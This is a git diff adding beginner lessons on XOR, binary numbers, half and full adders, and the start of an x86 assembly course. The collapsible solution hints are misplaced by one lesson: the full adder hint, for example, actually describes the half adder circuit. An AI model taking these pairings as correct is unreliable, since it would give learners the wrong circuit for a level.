+| 0, 0 — nobody | ✗ "nobody showed up" (0) | ✓ (1) | **0** — no entry |
+| 0, 1 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 0 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 1 — a pair | ✓ (1) | ✗ "you can't both come in" (0) | **0** — no entry |
+
+Four rows, four hits. XOR = **AND( OR(a,b), NAND(a,b) )** — but don't memorize this
+formula; remember the story, and the formula rewrites itself.
+
+> 💡 Did you notice: all three gates on the team are from the previous lesson — OR, NAND, AND. XOR
+> isn't "a new invention," it's the **division of labor among old acquaintances.** Number of new parts: zero.
+
+---
+
+## XOR's Secret Identity (Trailer for the Coming Unit)
+
+Take out that second reading you pocketed: XOR = "1 if there is exactly one 1."
+
+Now answer this question: **what do you get if you add 0 and 1?** 1. And 1 and 1? 2 —
+and in the binary world, the ones digit of the way 2 is written is **0** (we'll build up why,
+step by step, in Unit 1). Now look at XOR's table once more:
+
+| a | b | a+b | ones digit of the sum | XOR |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 1 | 1 |
+| 1 | 0 | 1 | 1 | 1 |
+| 1 | 1 | 2 | **0** | **0** |
+
+Exactly the same column. **XOR is the ones digit of a two-bit addition.** This gate that
+plays bouncer at the club door will, two lessons from now, be the heart of the circuit that lets the
+computer do addition.
+
+---
+
+## 🎮 Now You Build It
+
+**Mission:** NandGame → **Xor** level.
+
+The story is in your hands: two bouncers + an approval desk. Look at the ready-made parts in your box (or, nand, and
+— you built them all), and pull the wires. After you build it, try the four input combinations
+**by hand** and each time watch which bouncer says "no" — that's when the circuit turns into
+the story.
+
+🔒 How all three are built, at a glance — try it yourself first, then open
+ +- **Invert:** wire `x` to **both inputs** of the NAND. +- **And:** feed `a,b` into NAND; run NAND's output through an **invert**. +- **Or:** run `a` through one invert and `b` through a separate invert; feed the two + inverses into **NAND**. + +(The game puts the part you built in the previous level into the box of the next level — you +can use invert as a ready-made part in And and Or.) + +
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ XOR = difference detector: 1 if different, 0 if the same.
+☐ Second reading: "1 if there is EXACTLY ONE 1" — don't forget this, it comes back in addition.
+☐ One gate isn't enough, because the request is TWO sentences: "at least one" + "not both."
+☐ The solution team: OR bouncer (eliminates 0,0) + NAND bouncer (eliminates 1,1) + AND approval desk.
+☐ Design method: split a complex request into sentences, hand out gates to the sentences.
+☐ XOR's secret identity: the ONES DIGIT of a two-bit addition.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Building the three gates on the team
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Boxing up the layers: the main idea of this series
+- [05_half_adder.md](./05_half_adder.md) — Where XOR's secret identity comes to light
+
+---
+
+**Previous topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+**Next topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series progresses alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
new file mode 100644
index 0000000..0466096
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
@@ -0,0 +1,170 @@
+# 🔢 From Switches to a Computer — When Wires Become Numbers
+
+> Up to now, wires have carried "yes/no" for you: current, a decision, the go-ahead from
+> the ones that do the dirty work. In this lesson we'll give wires a brand-new meaning:
+> **number.** This is the biggest mental leap in the series — and the only concept lesson
+> that contains no circuit. If you lay this groundwork solidly, the adder lessons will
+> flow like water.
+
+> **No circuit in this lesson, no game.** Just one idea. But the whole of Unit 1 rests on
+> this idea: don't rush, read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [The Limit of a Single Wire](#the-limit-of-a-single-wire)
+- [The Remedy: Adding Wires and Assigning Values](#the-remedy-adding-wires-and-assigning-values)
+- [The Token System](#the-token-system)
+- [This Is a Trick You Already Know](#this-is-a-trick-you-already-know)
+- [Counting in Binary](#counting-in-binary)
+- [The Reading Formula](#the-reading-formula)
+
+---
+
+## The Limit of a Single Wire
+
+Recall the basic truth from lesson 01: **a wire knows no meaning.** A wire either has
+current or it doesn't. We named those two states "1" and "0" — that was the first meaning
+we assigned.
+
+Now a new need arises: in a moment our circuits will **count** (they'll answer the
+question "how many?"). But the biggest thing a single wire can say is "1". There's no
+"2 units of current" on a wire — the current is either there or not. So how does a circuit
+say 2, 3, or 500?
+
+> 🔑 The answer isn't inside the wire, it's in the **number of wires:** for bigger numbers
+> you add wires — and you **assign each wire a different value.** A number doesn't live on
+> a single wire, it lives in how a **group** of wires is read.
+
+---
+
+## The Remedy: Adding Wires and Assigning Values
+
+Take two wires. Call the left one the "**2's wire**" and the right one the "**1's wire**".
+Our rule:
+
+> The number the group says = **the sum of the values of the wires that are on.**
+
+With two wires you can build four different states — and the four say four separate numbers:
+
+| 2's wire | 1's wire | Number said |
+|:---:|:---:|:---:|
+| 0 | 0 | 0 + 0 = **0** |
+| 0 | 1 | 0 + 1 = **1** |
+| 1 | 0 | 2 + 0 = **2** |
+| 1 | 1 | 2 + 1 = **3** |
+
+That's all there is to it. The whole of the thing that wanders around under scary book
+titles like "the binary number system" is this table: **assign values to wires, sum the
+ones that are on.**
+
+---
+
+## The Token System
+
+To make the same idea tangible, think in tokens. You have two kinds of token in your hand:
+**2's** and **1's.** You say any amount by "which tokens you handed over":
+
+```
+ pay 0 → no token → wires: 0 0
+ pay 1 → one 1's → wires: 0 1
+ pay 2 → one 2's → wires: 1 0
+ pay 3 → one 2's + 1's → wires: 1 1
+```
+
+> 💡 Note: you can use **at most one** of each kind of token — because a wire either turns
+> on or it doesn't; there's no "turning on twice." Since you don't have the option of
+> handing over two 1's when you "pay 2," the 2's token is **mandatory.** This mandate is
+> why the values go 1, 2 (and, in a moment, 4, 8...): so that every amount can be paid in
+> **exactly one way**, using at most one of each token.
+
+---
+
+## This Is a Trick You Already Know
+
+Don't let "assigning values to digits" feel new to you — **you've been doing it since
+grade school.** When you write "347" in the decimal system, what you're really saying is:
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 100's 10's 1's → 3×100 + 4×10 + 7×1 = 347
+```
+
+In the decimal system the place values go 1, 10, 100, 1000... (each one **10 times** the
+previous, because you can write **ten** different digits, 0–9, in each place).
+
+In our wires, though, there are only **two** things that can be written in a place: 0 and 1.
+So the place values go 1, 2, 4, 8... — each one **2 times** the previous.
+
+> 🔑 So "the binary system" isn't a separate kind of math; it's **the same place-value idea,
+> in its two-digit form.** Just as "10" in decimal is "one ten, zero ones," in binary `10`
+> means "one 2's, zero 1's" — that is, **2.** See? There was nothing to be afraid of.
+
+---
+
+## Counting in Binary
+
+With three wires (4's, 2's, 1's) let's count from 0 to 7 — out loud, in token language:
+
+| Number | 4's | 2's | 1's | In token language |
+|:---:|:---:|:---:|:---:|---|
+| 0 | 0 | 0 | 0 | no tokens at all |
+| 1 | 0 | 0 | 1 | 1's |
+| 2 | 0 | 1 | 0 | 2's |
+| 3 | 0 | 1 | 1 | 2's + 1's |
+| 4 | 1 | 0 | 0 | 4's |
+| 5 | 1 | 0 | 1 | 4's + 1's |
+| 6 | 1 | 1 | 0 | 4's + 2's |
+| 7 | 1 | 1 | 1 | all of them |
+
+See a pattern in the table: the **1's column** ticks 0-1-0-1; the **2's column** goes in
+twos; the **4's** in fours. Like the digits on an odometer — when the right one fills up,
+the left one goes up by one. Same logic, except "filling up" happens at 1 instead of 9.
+
+---
+
+## The Reading Formula
+
+Let's squeeze everything into a single line. Let the three wires, left to right, be named
+`x h l` (4's, 2's, 1's):
+
+> **number said = 4·x + 2·h + 1·l**
+
+This formula is the key to the next two lessons. When our circuits hand you two wires called
+`h l`, you won't panic; you'll just read "2·h + l" and move on.
+
+> 💡 **You might be wondering:** *"So why doesn't a computer use decimal? People count in
+> decimal, after all."* Because the nature of a wire has two states: current on/off. If we
+> wanted decimal, we'd have to reliably tell apart ten different current levels on every
+> wire — in the noisy real world that's fragile and expensive. "On/off," on the other hand,
+> is rock-solid. The hardware didn't choose binary; **binary came out of the nature of the
+> wire.**
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A single wire says "1" at most. A bigger number = ADD A WIRE + ASSIGN each wire a VALUE.
+☐ Number = the sum of the values of the wires that are on. (Token analogy: which tokens did you hand over?)
+☐ At most ONE of each token → the values must be 1, 2, 4, 8... (powers of two).
+☐ The binary system = the place-value idea from school, with two digits. `10` (binary) = "one 2's" = 2.
+☐ Reading formula: number = 4x + 2h + 1l. This line is the key to two lessons.
+☐ The computer didn't choose binary; binary came out of the on/off nature of the wire.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — Where the principle "a wire knows no meaning" was born
+- [05_half_adder.md](./05_half_adder.md) — The fruit of this lesson: a circuit that ADDS numbers
+
+---
+
+**Previous topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+**Next topic:** [05_half_adder.md](./05_half_adder.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
new file mode 100644
index 0000000..15e7c06
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
@@ -0,0 +1,158 @@
+# ➕ From Switches to a Computer — Half Adder: The First Adder
+
+> If you dig down to the bottom of everything a processor does, you always reach the same thing: **addition.**
+> Subtraction is addition with a negative number; multiplication is repeated addition; the health in
+> a game, the tick of a counter, an address calculation in memory — all of it is addition. In this lesson you'll build
+> the deepest cell of that giant pyramid: **the circuit that adds two bits.** And you'll see
+> that you've been carrying the pieces in your pocket all along.
+
+---
+
+## 📋 Table of Contents
+
+- [Task: How Much Is 1 + 1?](#task-how-much-is-1--1)
+- [Why Isn't One Output Enough?](#why-isnt-one-output-enough)
+- [Build the Table, Spot the Familiar Faces](#build-the-table-spot-the-familiar-faces)
+- [The Circuit: Two Old Friends, Side by Side](#the-circuit-two-old-friends-side-by-side)
+- [Why a "HALF" Adder?](#why-a-half-adder)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## Task: How Much Is 1 + 1?
+
+The box we want to build looks simple: two inputs (`a`, `b`), each a single bit.
+Let the box add them **as numbers.**
+
+There are only four possibilities in total:
+
+```
+ 0 + 0 = 0 0 + 1 = 1 1 + 0 = 1 1 + 1 = ... 2
+```
+
+And while the first three are trouble-free, in the fourth things get interesting: **2.** From the last lesson
+you know — on a single wire there's no such thing as "2". In binary, 2 is written `10`: *one
+2, zero 1s.*
+
+---
+
+## Why Isn't One Output Enough?
+
+This is exactly why our adder is forced to have **two output wires:**
+
+- **l** (low) → **the 1s wire:** the ones digit of the sum.
+- **h** (high) → **the 2s wire:** the twos digit of the sum.
+
+To put it in the language you learned in school: `l` = "**write down**", `h` = "**carry**". In 7+5=12, when you say
+"write 2, carry 1" you're doing exactly the same thing — it's just that our digit doesn't fill up at 9,
+it fills up at 1: 1+1 = "write 0, carry 1" = `10`.
+
+> 🔑 Always read the output with the formula from 04: **sum = 2·h + l.** The two wires aren't two separate
+> answers; they are **the two digits of a single number.**
+
+---
+
+## Build the Table, Spot the Familiar Faces
+
+Write the four possibilities one under another, ask only "how much did it come to?" on each row, and write the result
+as `h l`:
+
+| a | b | a+b | h (2s) | l (1s) |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 0 | 1 |
+| 1 | 0 | 1 | 0 | 1 |
+| 1 | 1 | **2** | **1** | **0** |
+
+Now look at the columns **one by one.** One of the sweetest surprises of this series is waiting for you:
+
+- **The l column:** `0, 1, 1, 0`... You've seen this before. 1 if they differ, 0 if they're the same —
+ **this is the table of XOR.** The "trailer" at the end of lesson 03 came true: this turns out to be XOR's secret
+ identity — *the ones digit of addition.*
+- **The h column:** `0, 0, 0, 1` — 1 only when both are 1... **this is AND.** Makes sense:
+ a carry is born only if *two* 1s come together; the gate that asks the "both of them?" question was already AND.
+
+> 💡 We didn't invent any new gate. Addition — the computer's most fundamental ability —
+> turns out to be two of your old acquaintances (XOR and AND) **looking at the same question from two angles**:
+> XOR asks "what do the ones say?", AND asks "did a pair form?".
+
+---
+
+## The Circuit: Two Old Friends, Side by Side
+
+The design wrote itself. Fork `a` and `b`; give one copy to XOR, one copy to
+AND:
+
+```
+ a ──┬──────────► [ XOR ] ──────► l (write / ones digit)
+ │
+ b ──┴──────────► [ AND ] ──────► h (carry / twos digit)
+```
+
+The two gates are **side by side**, at the same time, looking at the same inputs — one producing the lower
+digit of the sum, the other the upper digit. The name of this box is **half adder**.
+
+---
+
+## Why a "HALF" Adder?
+
+Calling a box that does a perfectly good job "half" seems unfair. It isn't — the box has
+a real shortcoming, and that shortcoming is the very reason the next lesson exists.
+
+Do a multi-digit addition on paper: 27 + 35. The right digit: 7+5=12, "write 2, carry 1".
+Now look at the **middle digit**: 2 + 3 + **1 (carry)** — the middle digit is adding **three things**!
+Every digit has to take into account the carry coming from its right neighbor.
+
+The half adder, however, has only **two inputs.** It has no third mouth to take in an incoming carry.
+So on its own it can only do the job **in the rightmost digit** — it can be the first link of the chain,
+but not a middle one.
+
+> 🔑 **Half adder = an adder that CAN PRODUCE a carry but CANNOT ACCEPT one.** That's what its "half"-ness
+> is. You'll build the "full" version that can accept a carry — the full adder — in the next lesson,
+> and you'll do it using this very box you built today as a part.
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** NandGame → **Arithmetics** section → **Half Adder** level.
+
+This time you know almost everything; when you see the target table in the game, you'll recognize it.
+Build it, then try the four combinations by hand and each time read it off in your head: *"how many apples
+did I count → with which tokens did I pay?"*
+
+🔒 The logic of the solution — try it yourself first, then open
+ +Fork `a` and `b` and feed them into **both OR and NAND**. Give the two gates' outputs to **AND**; +AND's output is XOR. + +Extra observation: while your circuit is running, give it (1,1) and watch how the 0 at NAND's output +locks AND; then give it (0,0) and see the same lock on the OR side. Two bouncers, killing two +separate rows — if the table has four rows, two "no"s + two "yes"es is the whole tally. + +
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ At the bottom of everything a computer does there's always addition; its smallest cell is this box.
+☐ 1+1 = 2 = `10` in binary → even a single column needs TWO outputs: l (write) + h (carry).
+☐ Reading: sum = 2·h + l. Two wires = the two digits of a single number.
+☐ The l column = XOR (its secret identity: the ones digit of addition).
+☐ The h column = AND (a carry is born only from two 1s).
+☐ The reason for its "half"-ness: it PRODUCES a carry but CANNOT ACCEPT one → it can only be the rightmost digit.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — where the `2·h + l` formula comes from
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — the construction of XOR and the "secret identity" trailer
+- [06_full_adder.md](./06_full_adder.md) — completing the missing mouth: the adder that accepts a carry
+
+---
+
+**Previous topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+**Next topic:** [06_full_adder.md](./06_full_adder.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along in the company of [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
new file mode 100644
index 0000000..fa8ed50
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
@@ -0,0 +1,231 @@
+# 🔗 From Switches to a Computer — Full Adder: The Carry Chain
+
+> Last lesson you built a box, but it earned a "half" stamp: it produced a carry,
+> but it couldn't accept one. In this lesson you'll complete the missing input. The box
+> you build will be called a **full adder** — and, no exaggeration, this is the **brick**
+> of the arithmetic inside a modern processor: line up 64 of them side by side and you've
+> built the hardware that adds 64-bit numbers.
+
+> This is the most demanding build in the series so far. The difficulty isn't in the parts —
+> they're all familiar — it's in the **way of thinking.** We'll walk the path together,
+> the wrong turn included.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Three Inputs?](#why-three-inputs)
+- [The Box's Entire Logic in One Sentence](#the-boxs-entire-logic-in-one-sentence)
+- [Not Eight Rows, Four Cases](#not-eight-rows-four-cases)
+- [The Wrong Way: "Let Me Add All the Pairs"](#the-wrong-way-let-me-add-all-the-pairs)
+- [The Right Way: Like on Paper, In Order](#the-right-way-like-on-paper-in-order)
+- [The Last Wire: Two Carries, One Output](#the-last-wire-two-carries-one-output)
+- [🎮 Now You Build It](#-now-you-build-it)
+- [Closing: The Chain of 64](#closing-the-chain-of-64)
+
+---
+
+## Why Three Inputs?
+
+Add 27 + 35 on paper and watch what your hand does:
+
+```
+ ¹ ← carry
+ 2 7
+```
+```
+ + 3 5
+ ─────
+ 6 2
+```
+
+- Rightmost digit: 7+5=12 → "write 2, **carry 1**". Here you added **two** things.
+- Middle digit: 2+3+**1** → 6. Here you added **three** things: two digits + the incoming carry.
+
+Every digit in the middle of the chain has three inputs. That is exactly what a full adder
+is: the machine for that middle digit:
+
+> **Full adder = a box that adds a + b + c** — where `c` is the **carry** coming in from
+> the right neighbor. Its output is again two wires: `l` (write) and `h` (the new carry,
+> heading to the left neighbor).
+
+---
+
+## The Box's Entire Logic in One Sentence
+
+Adding three single-bit numbers is really just counting:
+
+> 🔑 **COUNT how many 1s are among the three inputs. Write the resulting number in binary: h l.** That's all.
+
+The count can come out 0, 1, 2, or 3 (there's nothing more than three inputs). You already
+know the binary form of all four from lesson 04: `00`, `01`, `10`, `11`.
+
+---
+
+## Not Eight Rows, Four Cases
+
+In the game an eight-row table will greet you. Don't let it scare you — group the rows by
+the question "how many 1s are there?" and eight rows collapse to four:
+
+| How many 1s? | Which rows | h l | In token language |
+|:---:|---|:---:|---|
+| 0 | 000 | `0 0` | no tokens |
+| 1 | 001, 010, 100 | `0 1` | one 1-token |
+| 2 | 011, 101, 110 | `1 0` | one 2-token |
+| 3 | 111 | `1 1` | 2-token + 1-token |
+
+Make two observations:
+
+- **All three** of the rows with a single 1 give the same answer; so do the ones with two 1s.
+ **Which** input is 1 doesn't matter at all — only the **count** matters. (Just like 7+5
+ and 5+7 being the same.)
+- The half adder's table had no `1 1` output — two inputs count to 2 at most. The only
+ novelty the third input brings is that last row: 3 = `11`.
+
+> 💡 Read the table one more time by **splitting it into floors**: separate the four rows
+> where c=0 and look at h,l — out comes the **exact same table as the half adder's**. Makes
+> sense: if the third basket is empty, a three-basket box has to behave like a two-basket
+> box. This observation is the soul of the circuit you're about to build: inside the full
+> adder, a half adder **lives.**
+
+---
+
+## The Wrong Way: "Let Me Add All the Pairs"
+
+At this level the first idea that comes to mind is usually this (and it's worth trying — the
+wrong way teaches too): *"I have a box that adds two things; so I'll add all the pairs:
+a+b, a+c, b+c... then I'll combine them."*
+
+You place three or four half adders, wire them up, and... you find yourself with a pile of
+outputs and not a single "sum". Each box reports separately "how many 1s are in these two";
+the reports repeat each other and nobody tells you the **overall total**. As the part count
+grows, you get closer not to a solution but to a crowd of wires.
+
+> ⚠️ The lesson here isn't a circuit lesson, it's a thinking lesson: **adding parts is not
+> progress.** If your circuit is growing but your clarity is shrinking, go back to the table
+> and look at the operation *itself*: how were you doing this job by hand?
+
+---
+
+## The Right Way: Like on Paper, In Order
+
+Add 2 + 3 + 4 in your head and pay attention to **what you do**: "2+3 = 5... 5+4 = 9."
+You didn't add all the pairs at once; **you added two, then added the third onto the
+result.** Addition is sequential — the **answer** of one addition becomes the **input** of
+the next.
+
+You know this sentence from lesson 03.5: *the answer of one floor is the signal of the floor
+above.* So then:
+
+1. **First half adder:** let it add `a + b`.
+2. **Second half adder:** let it add `c` onto the first one's result.
+
+One subtlety remains: the first box's result is **two wires** (h and l). Which one do you
+feed to the second box? Think in token language: `c` is a value **in 1-token units** (0 or 1
+apple). The wire that goes on the same scale as it must also be in 1-token units: **`l`.**
+(`h`, on the other hand, is in 2-token units — that belongs on a different scale, and will
+wait off to the side.)
+
+```
+ a ──► [ add ] h₁ ─────────────────────┐ (2-token — waiting)
+ b ──► [ 1 ] l₁ ──► [ add ] h₂ ──────┤ (2-token — waiting)
+ c ──► [ 2 ] l₂ ──────►│──► l ✓ (ones place done)
+ ▼
+ last wire: h = ?
+```
+
+---
+
+## The Last Wire: Two Carries, One Output
+
+You have two h wires in hand (h₁, h₂) but the box has only one `h` output. Both wires shout
+the same sentence: *"I found a pair!"* — the first in a+b, the second in remainder+c. But
+your `h` output's question is: "**is there a pair inside?**" It doesn't care who found the pair.
+
+"If at least one is shouting, h=1" — you know this sentence: **OR.**
+
+But let's be meticulous; OR's table also has a `(1,1) → 1` row. What if both shout at once?
+Two pairs = 4 apples would be needed; three inputs give 3 at most. Still, prove it on paper:
+for h₁=1 you'd need a=b=1 → then l₁ = 0 → 0 and c enter the second box → the second box can
+**never** find a pair. **Two shouts at the same time are impossible.** OR's one suspect row
+will never be visited — use it with confidence.
+
+> 💡 A subtle bonus: since the (1,1) case never occurs, **XOR** — which differs from OR only
+> on that very row — would do the same job. Both pass. That two different gates can do the
+> same task in a circuit feels strange at first — the secret is that they live in a world
+> where their difference is never tested.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** NandGame → **Full Adder** level.
+
+Your directions: two `add`s (the game put your half adder into your box under that name —
+03.5 at work), one OR. Build it, and try a few of the eight combinations by hand: each time
+read out to yourself "how many apples → which tokens".
+
+🔒 The logic of the solution — try it yourself first, then open
+ +Fork `a` and `b` and give them to **both XOR and AND**. XOR's output → `l`, +AND's output → `h`. Two gates, four wires — you've planted the seed of computer arithmetic. + +
+
+
+---
+
+## Closing: The Chain of 64
+
+Look at the box you built one last time: it has a carry **input** called `c` and a carry
+**output** called `h`. Which means these boxes... **can plug into each other.** One's h
+becomes the c of the one to its left:
+
+```
+ ... ◄─h─ [FA₂] ◄─h─ [FA₁] ◄─h─ [FA₀] ◄── (first carry: 0)
+ b₂ a₂ │ b₁ a₁ │ b₀ a₀ │
+ l₂ l₁ l₀
+```
+
+Each box is one digit; the carry flows from right to left, just like on paper. Line up 8 of
+them and you've built the hardware that adds 8-bit numbers; line up 64 and it's the hardware
+that adds 64-bit numbers. If a program on your computer just ran an `add` instruction, it
+went through exactly this chain — through 64 copies of **the box you built today.**
+
+Building this chain yourself is the job of the next lesson (and the next level in NandGame):
+**Multi-bit Adder.** See you there.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Full adder = a + b + carry-in. The machine for the MIDDLE digit on paper (three inputs!).
+☐ All the logic: COUNT the 1s, write the number in binary (h l). 8 rows = 4 cases.
+☐ Who is 1 doesn't matter, HOW MANY 1s matters. The c=0 floor = the half adder itself.
+☐ Wrong-way lesson: adding parts isn't progress. Build it the way you do it by hand.
+☐ Addition is SEQUENTIAL: add → then add onto the result. (A floor's answer, the floor above's signal.)
+☐ The wire added to c is l (both in 1-token units); the h's are 2-token, waiting off to the side.
+☐ Two h's can never be 1 at once (paper proof) → OR is enough to combine (XOR would pass too).
+☐ The h output plugs into the neighbor's c input → the chain of 64 = the hardware of the processor's `add`.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_half_adder.md](./05_half_adder.md) — The box that lives inside this circuit twice
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — The basis of "count and write in binary"
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — "The answer is the floor above's signal"
+
+---
+
+**Previous topic:** [05_half_adder.md](./05_half_adder.md)
+**Next topic:** *(on the way — Multi-bit Adder: building the chain of 64)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
new file mode 100644
index 0000000..bc7c8b1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
@@ -0,0 +1,165 @@
+# 🧭 x86 Assembly — Start Here (Really From Scratch)
+
+> A computer is not magic. Inside it there is a worker who does very simple things at an **unimaginable speed**,
+> but who does not have a single gram of imagination.
+> This worker understands only a handful of orders: *"put this number in that box", "add those two together", "jump over there."*
+> Assembly is the art of writing a to-do list for that worker in the **only language** he understands.
+
+> **Who is this course for?** Anyone who knows how to turn on a computer. Never having seen a terminal,
+> never having written a line of code before, not knowing "what does register mean" — all completely normal;
+> we will build all of it from here, from scratch. The only prerequisite: patience and curiosity.
+
+> ✅ **This course is now complete: all lessons from 00 through 20 are written.** And every lesson is not "on paper" — **every program and every GDB output inside it was verified by running it on a real machine.** The path: **Unit 0** (machine model) → **Unit 1** (first instructions, arithmetic) → **Unit 2** (flow: decisions & loops) → **Unit 3** (stack, functions, system calls) → **Unit 4** (the C bridge, where to go from here). Read from start to finish, in order — each unit leans on the previous one.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Course Is NOT](#what-this-course-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [What Will You Be Able to Do at the End?](#what-will-you-be-able-to-do-at-the-end)
+- [The Big Picture: Why Does Assembly Exist?](#the-big-picture-why-does-assembly-exist)
+- [Roadmap — Unit by Unit](#roadmap--unit-by-unit)
+- [How Should You Study?](#how-should-you-study)
+- [If Something Breaks](#if-something-breaks)
+
+---
+
+## What This Course Is NOT
+
+- **Not a fast course.** We won't rush. Every concept will sit on top of the previous one. A stone you skip will trip you up later.
+- **Not a memorization course.** I won't make you memorize a list of instructions. I'll introduce each instruction at the *moment you need it* — that way the question "why does this exist?" never even arises.
+- **Not a program-writing marathon** (but we will write). The goal is first to **understand**: what is the machine actually doing inside? Once you understand that, the code comes on its own.
+- **It does not expect you to know C / Python / "real" programming.** Even if you don't know a single language, you can start here.
+
+---
+
+## First, Let's Break the Fear
+
+Most resources greet you straight away with things like `EAX`, `0xdeadbeef`, `mov dword ptr [ebp-0x4]`, and one rightly says "this isn't for me."
+
+Let me tell you a secret: **the hard part of assembly is not the instructions.** Instructions like `mov`, `add`, `jmp` are surprisingly simple — you'll see in a moment. The real issue is picturing in your head **how the machine thinks** (or rather, *doesn't think*).
+
+Once you've settled this, the rest flows like water. The entire first unit is devoted to this — there **we won't write a single line of code.** We'll only build the picture.
+
+> 💡 Getting stuck, feeling confused, the "am I the stupid one" feeling — all normal, and **everyone** passes through this door. Slowing down here is not a weakness, it's a method. Reading a section twice is no shame; it's advice.
+
+---
+
+## What Will You Be Able to Do at the End?
+
+When you finish this course:
+
+- You'll be able to explain **concretely** what a computer actually does when it "runs".
+- You'll comfortably read binary and hexadecimal numbers.
+- You'll be able to **write and run** your own 32-bit assembly programs (ones that print text to the screen, do arithmetic, make decisions, build loops).
+- You'll be able to follow a program **step by step** with GDB and answer the question "what just happened?".
+- When you compile a C program and look at its assembly, you'll be able to see **patterns you recognize**.
+
+In other words: you'll stop being someone for whom "a computer is a box" and become someone who can see inside it.
+
+---
+
+## The Big Picture: Why Does Assembly Exist?
+
+The languages humans read (Python, C...) are not the languages a computer **understands directly**. The only thing a computer understands is a giant **sequence of numbers** — this is called *machine code*. For example, to tell the processor "put 5 in the EAX box", you actually send it this number: `B8 05 00 00 00`.
+
+Writing these numbers by hand is nearly impossible. **Assembly** is the **human-readable labels** attached to these numbers:
+
+```
+Machine code (what the processor sees): B8 05 00 00 00
+Assembly (what you write): mov eax, 5 ← "put 5 in EAX"
+```
+
+*(But why five numbers for a single 5? The first one — `B8` — is the "put in EAX" order itself; the remaining four numbers are the 4-byte form of 5 as it sits in memory. We'll open this up in [08_mov_ve_bellek](./08_mov_ve_bellek.md) — for now you don't even need to count, just look.)*
+
+The two **correspond one-to-one** — each assembly line is assembled into specific numbers, and there is no magic you don't understand in between. Assembly is the human language closest to machine code. *(We'll also open up separately in [05.5_perde_arkasi](./05.5_perde_arkasi.md) the invisible wrapper — things like `_start`/ELF — that the machine adds to run the program.)* That's why learning assembly = learning what the machine actually does. Higher-level languages (C, Python) are **convenience layers** built on top of this machine.
+
+> 🔑 Keep in mind: **You write assembly → a program called `nasm` assembles it into machine code (numbers) → the processor reads those numbers and does them.** The translator is called an *assembler*; ours is `nasm`.
+
+---
+
+## Roadmap — Unit by Unit
+
+Read the files in this order. Each unit leans on the previous one.
+
+### 🧩 Unit 0 — No Code Yet: Meeting the Machine
+
+> Here **we won't write a single line of code.** We'll only build the machine's mental model. This unit is the foundation of the course; if it isn't laid solidly, nothing above it will hold.
+
+| # | File | What it teaches | Takeaway |
+|:---:|---|---|---|
+| 1 | [01_bilgisayar_nedir](./01_bilgisayar_nedir.md) | Computer = numbered boxes + worker; what "running" means | Mental model |
+| 1.5 | [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) | If "everything is a number", how does a cat video happen; meaning comes from code | Number ≠ meaning |
+| 2 | [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md) | What a terminal is, how to open it, typing a command and reading its output | Your first "I did it" moment |
+| 3 | [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) | Binary/hexadecimal — counting the way the machine counts | Reading addresses and values |
+| 4 | [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md) | Memory (boxes) and registers (the worker's hands) | The field assembly plays on |
